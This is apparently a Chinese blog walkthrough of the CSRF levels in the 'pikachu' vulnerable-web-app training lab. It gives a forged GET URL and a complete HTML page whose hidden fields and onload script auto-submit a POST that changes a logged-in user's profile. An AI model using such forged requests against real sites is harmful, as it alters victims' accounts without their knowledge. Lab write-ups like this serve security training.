3. CSRF

最新推荐文章于 2025-08-16 06:13:53 发布

RainaHacker

最新推荐文章于 2025-08-16 06:13:53 发布

阅读量275

点赞数

CC 4.0 BY-SA版权

分类专栏： pikachu通关练习文章标签： csrf 前端网络安全安全 web安全

本文链接：https://blog.youkuaiyun.com/weixin_41826065/article/details/128237931

pikachu通关练习专栏收录该内容

13 篇文章

订阅专栏

CSRF

1.CSRF（get）
2.CSRF (post)

1.CSRF（get）

1.1 根据提示登陆系统

在这里插入图片描述

1.2 修改个人信息，提交时进行抓包

在这里插入图片描述

1.3 根据数据包伪造地址

http://124.220.31.77:8000/vul/csrf/csrfget/csrf_get_edit.php?sex=1&phonenum=11&add=1&email=1&submit=submit

在这里插入图片描述

1.4 修改成功

在这里插入图片描述

2.CSRF (post)

2.1 修改个人信息时进行抓包

在这里插入图片描述

2.2 新建html文件，创建表单

在这里插入图片描述

<!DOCTYPE html>
<html>
<head lang="en">
	<title>csrf_post</title>
	<script>
    window.onload = function() {
    document.getElementById("postsubmit").click();
  }
 </script>
</head>
<body>
       <form action="http://124.220.31.77:8000/vul/csrf/csrfpost/csrf_post_edit.php"  method="POST">
       	 <input type="text" name="sex" value="1"><br>
       	 <input type="hidden" name="phonenum" value="hacker"><br>
       	 <input type="hidden" name="add" value="china"><br>
       	 <input type="hidden" name="email" value="hacker"><br>
       	 <input id="postsubmit" type="submit" name="submit" value="submit" />
       </form>
</body>

</html>